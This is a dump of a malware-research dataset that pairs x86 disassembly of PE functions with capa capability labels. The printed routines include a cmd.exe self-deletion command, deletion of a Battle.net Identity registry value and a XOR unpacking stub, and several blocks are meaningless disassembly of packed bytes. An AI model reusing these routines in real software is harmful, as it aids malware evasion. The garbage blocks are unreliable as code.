joyce8/EMBER2024-capa huggingface dataset:
Function at 0x467d33
Capabilities:
Encode data using xor

Disassembly:
xchg ecx, eax
stosb byte es:[edi], al
shl ecx, cl
iretd
test eax, esi
inc eax
dec esi
inc ebp
in eax, dx
pop bp
pop ebp
inc edi
mov es, word [edx - 0x30]
add al, 0x1f
pop ds
invalid
lds eax, [ebx - 0x49]
mov dl, byte [edi + ebp*8]
adc al, 0xef
mov ch, 0xd0
mov ebp, 0x4f3ef55f
sub byte [edi], bl
das
push esi
xor al, 0x3f
and eax, 0xc49b50dd
leave
cmp bh, byte [edx - 0x293aa599]
mov dh, 0xc
xchg ecx, eax
and ebx, dword [edi]
mov byte [esi + 0x28], 4
out 0x44, eax
pop ss
loop 0x467c8d
das
cmc
pop ecx
inc ebp
pop edx
sahf
invalid
invalid
std
add dl, bl
test byte [edi - 0x3f], dh
jae 0x467c76
jns 0x467c5a
mov ss, word [ebp - 0x23]
or eax, 0x8a09479c
jb 0x467c91
jno 0x467c69
inc edi
lodsd eax, dword [esi]
cmp byte [esi + 0x52], bl
inc esp
jne 0x467c70
adc byte [ecx - 0x61], bh
cmp al, 0x15
mov esi, 0x42487e7e
ljmp 0x614c
jp 0x467cca
imul esp, dword [ebx + eax*8 + 0x32], 0xc4b4ad4a
jb 0x467d09
les esi, [edx - 3]
dec ebp
jg 0x467d02
pop ss
out 0xbd, al
mov byte [ebp*2 - 0x19597fb4], bl
adc dword [edi], ebp
out 0x54, al
and ah, byte [edx]
popfd
xchg esi, eax
add al, 0x8f
bnd ja 0x467d39
xor ebx, edx
insb byte es:[edi], dx
mov cl, 0x42
ror dword [eax - 0x63], cl
xchg esi, eax
jbe 0x467db1
mov ecx, 0x8d5dca22
adc bl, bl
jb 0x467cc4
invalid
sub byte [edx + 0x65533c52], dl
jbe 0x467d00
pop ecx
sahf
push eax
mov ecx, 0x825e4487
mov ah, 0xf5
cmc
or ch, ah
inc esi
bound ecx, qword [edx - 0x39126479]
lea ebp, [ebx - 0x3d]
jns 0x467d8b
mov al, byte [edi - 0x72391265]
imul eax, ebx, 0x79
das
sbb byte [ecx - 7], dl
lcall 0x275f, 0xef5c54b
pop ebx
salc
jl 0x467de8
inc ebp
dec eax
out dx, eax
invalid
std
rcr byte [0x4882851f], 0x82
ret
jecxz 0x467d52
xchg ch, dl
mov esp, 0xac15eae4
lodsb al, byte [esi]
jno 0x467e38
pop ds
imul dword [edx]
mov edx, 0xdc705081
mov bh, 0xc1
jb 0x467d4d
push esi
insb byte es:[edi], dx
mov dl, 0x25
arpl word [ebx], si
push esp
pushfd
insb byte es:[edi], dx
int3
invalid
Function at 0x471f03
Capabilities:
Check for vm using instruction vpcext

Disassembly:
jne 0x471f20
iretd
out dx, eax
push esp
pop edx
adc eax, edx
daa
invalid
test dl, bl
salc
add esp, ebp
sbb edi, edi
cmpsb byte [esi], byte es:[edi]
or edi, esp
popfd
sub al, byte [esi + 0x28]
jl 0x471f62
xchg esi, eax
mov dl, 0xb0
xchg edx, eax
add byte [esi - 0x30e3775a], 0x25
mov bh, 0xfc
mov bh, 0xfc
pop ecx
push es
jae 0x471ecd
outsb dx, byte [esi]
pop esi
outsb dx, byte [esi]
stosd dword es:[edi], eax
mov dword ds:[0x6407c4e4], eax
inc esi
mov bh, 0x58
push ss
stosd dword es:[edi], eax
mov esp, 0x38483ac7
loop 0x471ebe
mov al, byte [0xfdd7b5c5]
pop ss
mov ebx, 0x91085498
clc
push edx
and byte [eax - 0x778d96b1], ah
pandn mm6, qword [edi + ecx*8 - 0x3b118a]
test byte [ebx - 0x5737fad], cl
loop 0x471fab
in eax, 0xd
mov esi, 0x13690fa9
mov al, 0xba
xor eax, 0xffffffe6
pushal
test eax, 0xb013690f
mov edx, 0x60e6f083
xor byte [eax - 0x42925254], dh
movsd dword es:[edi], dword [esi]
sub ch, byte [ebx + 0x7dc9412b]
jp 0x471f7e
dec esp
xchg ebp, eax
movsd dword es:[edi], dword [esi]
lodsb al, byte [esi]
movsd dword es:[edi], dword [esi]
enter 0xffffffffffffa2a9, 0x7d
pop esi
test byte [ebp - 0x281a10f6], al
cmp eax, 0x1737afa1
or ch, ah
xchg ebp, eax
xchg al, bh
mov al, 0xbf
int 0x30
iretd
and eax, 0x66748a1a
adc eax, 0xa4fff25a
cmp al, 0xae
xchg dl, al
dec eax
push ss
and cl, dl
jae 0x471fee
pop edx
bnd jmp dword [esp + edi + 0x48c286ae]
jmp dword [esp + edi + 0x48c286ae]
test byte [eax], dh
lodsb al, byte [esi]
ficom word [eax - 0x1726e59b]
jbe 0x472040
in al, dx
inc ebx
xor esi, 0x2c7c5995
jl 0x471ffe
sub al, 0x65
pushal
jne 0x471fd0
push edx
in al, dx
aam 0xff
inc ecx
push cs
jecxz 0x472011
dec esp
xor esi, dword [ebp - 0x13]
idiv dword ds:[eax + esi + 0x41]
lahf
in eax, 0x11
lcall 0x2468, 0x7288a299
pop esp
mov byte [edx + 0x68], dh
and al, 0x5c
push es
push 0xb370296d
invalid
mov bl, 0xf
jno 0x472000
aaa
outsd dx, dword [esi]
sub byte [ecx + 0x7a], cl
xor dl, byte [eax - 0x44]
jecxz 0x471fb1
jp 0x472034
push eax
mov esp, 0xa37aabe3
jp 0x471fab
dec edx
lds ecx, [eax + 0x5d]
jg 0x471fb3
inc edi
mov word [edi], cs
aas
push es
cmp cl, cl
outsb dx, byte [esi]
jl 0x471fca
invalid
push sp
test al, 0xcc
jbe 0x472090
retf
invalid
test dword [ecx], ecx
out dx, al
cmp dh, ah
fsubr st(2), st(0)
xor al, 0x8e
mov ds, word [eax - 0x10f0c533]
ror byte [edi - 0x43], cl
js 0x472065
invalid
jp 0x471ff8
dec ebx
inc edx
test byte [ebx - 0x535805c5], bl
xor eax, 0x7f1eb103
mov dword [edi + 0x50], 0x75c8953c
mov dword [ecx + 0x4e0ec466], ebx
int 0xc4
inc esp
invalid
adc bh, byte [ebp - 0x12]
and eax, 0x8fa09c98
mov byte [eax + 0x1d], cl
aam 0x2a
cmp dword [edi + 0x21], 0xffffffcf
xchg ebp, eax
imul eax, dword [ebx], 0x8b8c66c3
lahf
inc ebx
dec ebp
add esp, dword [edi - 0x50]
inc ebx
sbb byte [ebx], dh
cmp byte [ecx + 0x1d152f4a], al
shr dword [edx + 0x7f], 1
mov ah, 0x28
push edi
leave
insd dword es:[edi], dx
xchg edx, eax
popal
movd dword [eax - 0x46], mm4
out 0xb7, eax
cmc
adc bl, ch
xchg esi, eax
frstor dword [ecx]
outsb dx, byte [esi]
mov bh, 0x44
adc dl, byte [esi]
and esi, dword [ecx]
xchg ebp, eax
mov ebx, 0xdd988240
pop ds
invalid
Function at 0x47f912
Capabilities:
Encode data using xor

Disassembly:
pop es
invalid
pushfd
pop ss
mov es, word [esp + 0x5d]
fnstenv [edi + 0x5c]
wait
jno 0x47f975
or eax, 0x6015829b
sbb bl, byte [esi + 0x1e06fff5]
xchg byte [edi], dl
xor ecx, dword [esi]
xchg esi, eax
pop esi
test byte [esi], ch
in eax, 0x47
ja 0x47f923
pop es
sahf
adc al, 0xdb
xchg ebp, eax
ja 0x47f8d3
fst dword [edx + 0x7fb1ff9f]
sub byte [esi], al
ror edi, 1
and dh, 0xc
invalid
sbb eax, dword [esi]
ja 0x47f9d2
mov ebx, 0xbbc59ac1
add eax, 0x70c9714b
xchg byte [ecx], dl
out 0x63, eax
push es
into
xchg byte [ecx], bh
wait
mov ebp, 0x121a0f9b
pop dword [edi - 0x7e2964ef]
push es
out dx, al
xchg dh, bh
test dword [eax - 0xe261f65], 0x4b667b63
adc eax, 0x766ec12a
mov esi, eax
jb 0x47f9df
adc al, 0x5c
ret 0xa2d7
lodsd eax, dword [esi]
sub eax, dword [eax]
salc
imul edi, dword [edx + 0x69], 0x56
mov byte [0xf3da229d], al
xchg ecx, eax
dec edx
add dword [ebx - 0x3f], ebx
pop ss
salc
jge 0x47fa1c
int1
cmp bp, cx
sar byte [ebp + edi + 0x7b9a04ec], cl
xor eax, 0xea2a7a52
mov byte [0x392421b7], al
push edx
push ecx
push ecx
iretd
test eax, 0xadb6bab
inc esi
or al, byte [ebx]
sbb byte [edx], bl
je 0x47fa9c
and dword [esp + ebp*2 + 0x79], 0xb62e457c
cmc
shr byte [ebp - 0x4cd44c2e], 1
adc eax, 0xf34d0948
push 0xffffffffffffff8d
inc edx
movsb byte es:[edi], byte [esi]
iretd
xor byte [esi], ch
push esp
je 0x47fac5
scasb al, byte es:[edi]
cdq
int3
adc eax, dword [ebx - 0x51]
imul ebx, dword [edi - 0x74ddadec], 0x2ff31fc1
inc eax
pop fs
cmp byte [eax], ch
adc eax, 0xd616a4d2
pop es
loope 0x47fa4b
lahf
sbb byte [0x4669d8c], cl
xchg edx, ebx
or ebx, 0x630e618e
lodsd eax, dword [esi]
push eax
sub eax, dword [edx]
jg 0x47fb24
arpl word [ebp + 0x7f022b50], bp
pop eax
iretd
imul edx, dword [eax + 0x75], 0xee17ea2a
out dx, al
int3
dec ebp
jle 0x47fb91
inc edi
invalid
test dword [ecx + esi*2 - 0x1d], eax
sar esi, cl
push eax
cwde
mov ch, 0xfa
rcr byte [edi + 0x68], 1
inc esi
or eax, dword [ebp + 0x78]
daa
fld dword fs:[edi + 0x3a]
stosb byte es:[edi], al
jbe 0x47fad4
insb byte es:[edi], dx
retf 0x6344
inc esi
mov ebx, 0xfa436946
popfd
aad 0xc2
stosd dword es:[edi], eax
salc
out 0xc6, al
push es
mul eax
inc esp
pop edx
jbe 0x47fc23
sal edi, 0xb8
xor eax, dword [edi + 0x1a]
xlatb
jecxz 0x47fb34
pop es
ret
inc esi
das
invalid
Function at 0x628c6d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x630390
cmp edx, dword [eax]
je 0x628c8f
add eax, 8
inc ecx
cmp eax, 0x630420
jl 0x628c80
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x630390]
jne 0x628dbd
mov eax, dword [0x639d20]
cmp eax, 1
je 0x628d97
test eax, eax
jne 0x628cc0
cmp dword [0x6302b8], 1
je 0x628d97
cmp edx, 0xfc
je 0x628dbd
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x628cf7
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00629650
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00629ae0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x628d3a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00629ae0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x62d98c
push edi
call fcn.0062b9b0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00629650
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00629660
lea eax, [ebp - 0xa0]
push 0x62d96c
push eax
call fcn.00629660
push dword [esi + 0x630394]
lea eax, [ebp - 0xa0]
push eax
call fcn.00629660
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0062b924
add esp, 0x2c
pop edi
jmp 0x628dbd
lea eax, [ebp + 8]
lea esi, [esi + 0x630394]
push 0
push eax
push dword [esi]
call fcn.00629ae0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x40171f
Capabilities:
Get common file path
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
push edi
push 7
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x2f]
mov byte [ebp - 0x30], bl
push 7
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x4f]
mov byte [ebp - 0x50], bl
rep stosd dword es:[edi], eax
push ebx
push ebx
stosw word es:[edi], ax
push ebx
push ebx
push str.Testing
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], ebx
mov byte [ebp - 1], bl
stosb byte es:[edi], al
call dword [0x409c30]
push ebx
push 0x80000000
push ebx
push ebx
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
push eax
call dword [0x409c08]
mov esi, eax
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x30]
push eax
push 0x13
push esi
call dword [0x409c24]
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x30]
push eax
push 0x13
push esi
call dword [0x409c24]
test eax, eax
je 0x401873
push 3
lea eax, [ebp - 0x30]
push 0x4074e8
push eax
call fcn.00402b00
add esp, 0xc
test eax, eax
jne 0x40186e
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x50]
push eax
push 5
push esi
call dword [0x409c24]
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x50]
push eax
push 5
push esi
call dword [0x409c24]
test eax, eax
je 0x40186e
lea eax, [ebp - 0x50]
push eax
call fcn.00402af1
pop ecx
push ebx
push 0x80
push 2
push ebx
push 1
push 0xc0000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40186e
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 1]
push 1
push eax
push esi
call dword [0x409c3c]
test eax, eax
je 0x401844
cmp dword [ebp - 8], ebx
je 0x401844
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 1]
push 1
push eax
push edi
call dword [0x409c0c]
jmp 0x401816
push esi
call dword [0x409c10]
push dword [ebp - 0xc]
call dword [0x409c10]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 5
push dword [ebp + 0xc]
call dword [0x409c2c]
pop edi
pop esi
pop ebx
leave
ret
push esi
call dword [0x409c10]
push dword [ebp - 0xc]
call dword [0x409c10]
push ebx
call fcn.00402991
Function at 0x401889
Capabilities:
Create process on windows
Get common file path
Resume thread
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push ebx
push esi
mov esi, 0x104
push edi
lea eax, [ebp - 0x158]
push esi
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4019d6
lea eax, [ebp - 0x158]
push esi
push eax
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x4019d6
lea eax, [ebp - 0x360]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x360]
push str.cmd.exe
push eax
call fcn.00402b50
pop ecx
lea eax, [ebp - 0x25c]
pop ecx
push str.__c__del
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x25c]
push eax
call esi
lea eax, [ebp - 0x25c]
push str.___nul
push eax
call esi
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x360]
push eax
call esi
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0x50]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0xc]
mov dword [ebp - 0x10], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x100
mov dword [ebp - 0x54], 0x44
stosd dword es:[edi], eax
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], bx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push ebx
push ebx
push 0xc
push ebx
push ebx
lea eax, [ebp - 0x360]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4019c1
push 0x40
push dword [ebp - 0x10]
call esi
push 0xfffffffffffffff1
push dword [ebp - 0xc]
call edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
push ebx
call fcn.00402991

Function at 0x401b38
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push edi
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401ba2
push 2
push edi
push 0xffffffffffffffda
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp + 8]
push edi
push eax
push 0x26
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401ba2
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0xc]
call fcn.004027d0
cmp eax, 0x26
pop ecx
je 0x401ba2
push 0x26
push edi
push dword [ebp + 0xc]
call fcn.00402850
add esp, 0xc
pop edi
pop esi
pop ebp
ret
Function at 0x401ba6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
push edi
push esi
push 0x80
push 3
push esi
push esi
push 0x10000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401bf9
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x401bf9
lea eax, [ebp + 8]
push esi
push eax
push dword [ebp + 0xc]
call fcn.004027d0
pop ecx
push eax
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x401bfd
xor eax, eax
jmp 0x401c07
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebp
ret

Function at 0x401f03
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and byte [ebp - 0x208], 0
push esi
push edi
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x207]
and byte [ebp - 0x104], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, 0x104
lea eax, [ebp - 0x208]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x208]
push str.AYLaunch.exe
push eax
call fcn.00402b50
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.00401b38
add esp, 0x10
lea eax, [ebp - 0x208]
push 0
push eax
push 0x409c44
call dword [0x409c14]
test eax, eax
je 0x401ffb
lea eax, [ebp - 0x104]
push eax
call fcn.004027d0
cmp eax, 0x26
pop ecx
jne 0x401fad
lea eax, [ebp - 0x104]
push eax
call fcn.00401dda
pop ecx
push esi
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.00402850
lea eax, [ebp - 0x104]
push eax
call fcn.00401a26
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.00401ba6
lea eax, [ebp - 0x104]
push eax
call fcn.00401c0b
add esp, 0x1c
test eax, eax
je 0x401ffb
lea eax, [ebp - 0x104]
push eax
call fcn.00401ce3
pop ecx
pop edi
pop esi
leave
ret
Function at 0x40244f
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SoftwareBlizzard_EntertainmentBattle.netIdentity
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.Identity
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret

Function at 0x402487
Capabilities:
Create process on windows
Get common file path
Query or enumerate registry value
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x36c
push ebx
push esi
push edi
push 0x10
pop ecx
xor eax, eax
lea edi, [ebp - 0x5c]
xor ebx, ebx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x18]
mov dword [ebp - 0x1c], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov esi, 0x104
mov dword [ebp - 0xc], 2
stosd dword es:[edi], eax
push esi
lea eax, [ebp - 0x36c]
push ebx
push eax
mov dword [ebp - 8], esi
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
mov word [ebp - 0x30], bx
call fcn.00402850
push esi
lea eax, [ebp - 0x164]
push ebx
push eax
call fcn.00402850
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0xf003f
push ebx
push str.SOFTWAREMicrosoftOle
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4025c0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x36c]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push str.stubpath
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4025c0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x268]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x268]
push str.cmd.exe
push eax
call fcn.00402b50
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x164]
push eax
call fcn.00402b40
lea eax, [ebp - 0x164]
push str.__c__del
push eax
call fcn.00402b50
lea eax, [ebp - 0x36c]
push eax
lea eax, [ebp - 0x164]
push eax
call fcn.00402b50
lea eax, [ebp - 0x164]
push str.___nul
push eax
call fcn.00402b50
add esp, 0x28
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push ebx
push 0x10
push ebx
push ebx
lea eax, [ebp - 0x164]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4025c5
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
push edi
call fcn.00401140
call fcn.00402487
call fcn.0040244f
call fcn.00401b20
test eax, eax
jne 0x4025fd
call fcn.00401f03
call fcn.004023cd
call fcn.00401889
xor eax, eax
jmp 0x4026bd
push dword [ebp + 0x10]
call fcn.004027d0
test eax, eax
pop ecx
je 0x402675
push str.start
push dword [ebp + 0x10]
call fcn.00402c60
pop ecx
test eax, eax
pop ecx
je 0x402675
call fcn.00402427
and byte [ebp - 0x158], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x157]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x158]
push eax
push 0x409c44
call fcn.00401b38
lea eax, [ebp - 0x158]
push eax
call fcn.004027d0
add esp, 0xc
cmp eax, 0x26
jne 0x40266b
lea eax, [ebp - 0x158]
push eax
call fcn.00401ce3
pop ecx
call fcn.004023cd
push 1
pop eax
jmp 0x4026bd
push esi
xor edi, edi
push 0x44
lea eax, [ebp - 0x54]
push edi
push eax
call fcn.00402850
mov esi, 0x409c44
push str.__start
push esi
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], 5
call fcn.00402b50
add esp, 0x14
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push edi
push edi
push edi
push edi
push edi
push edi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
pop esi
pop edi
leave
ret 0x10

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x10001f10
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006ffb8
mov eax, dword fs:[0]
push eax
sub esp, 0x424
mov eax, dword [0x10089040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x20], 0
push 0x404
lea eax, [ebp - 0x424]
mov dword [ebp - 4], 0
push 0
push eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], 0
call fcn.10045390
add esp, 0xc
mov dword [ebp - 0x424], 0
push 0x60
push 0
mov byte [ebp - 4], 1
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push edi
call ebx
mov esi, eax
mov dword [ebp - 0x430], esi
test esi, esi
jne 0x10001fc9
push 2
push eax
push edi
call ebx
mov esi, eax
mov dword [ebp - 0x430], eax
test esi, esi
jne 0x10001fc9
call fcn.10001490
mov edi, eax
jmp 0x100020e3
push dword [ebp - 0x428]
push dword [ebp - 0x42c]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x10001fec
call fcn.10001490
jmp 0x100020d6
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
mov dword [ebp - 0x42c], ebx
test ebx, ebx
jne 0x1000200a
call fcn.10001490
jmp 0x100020d6
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov dword [ebp - 0x428], edi
lea eax, [edi + 1]
cmp eax, edi
jae 0x1000202b
mov edi, 0x8007000e
jmp 0x100020d8
mov ecx, 2
mov byte [ebp - 4], 2
mul ecx
test edx, edx
jne 0x1000211c
cmp eax, 0xffffffff
ja 0x1000211c
cmp eax, 0x400
jbe 0x1000205c
push eax
lea ecx, [ebp - 0x424]
call fcn.100042e0
jmp 0x10002082
lea eax, [ebp - 0x420]
mov dword [ebp - 0x424], eax
jmp 0x10002082
mov dword [ebp - 4], 1
cmp dword [ebp - 0x424], 0
jne 0x10002099
mov edi, 0x8007000e
jmp 0x100020d8
push edi
push dword [ebp - 0x424]
push edi
push ebx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
jne 0x100020b9
call fcn.10001490
jmp 0x100020d6
mov eax, dword [ebp - 0x424]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x1c]
push dword [ebp - 0x424]
call fcn.10002d00
mov edi, eax
test esi, esi
je 0x100020e3
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x420]
cmp dword [ebp - 0x424], eax
je 0x100020fc
lea ecx, [ebp - 0x424]
call fcn.100042d0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10043277
mov esp, ebp
pop ebp
ret 0x10
push 0x80070216
call fcn.100013a0
int3
Function at 0x10005a30
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10005a8b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10005a8b
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x10005a78
cmp esi, edx
jae 0x10005a8b
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x10005a66
cmp esi, edx
jae 0x10005a8b
xor eax, eax
cmp word [esi], ax
pop edi
cmove esi, eax
mov eax, esi
pop esi
pop ebx
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret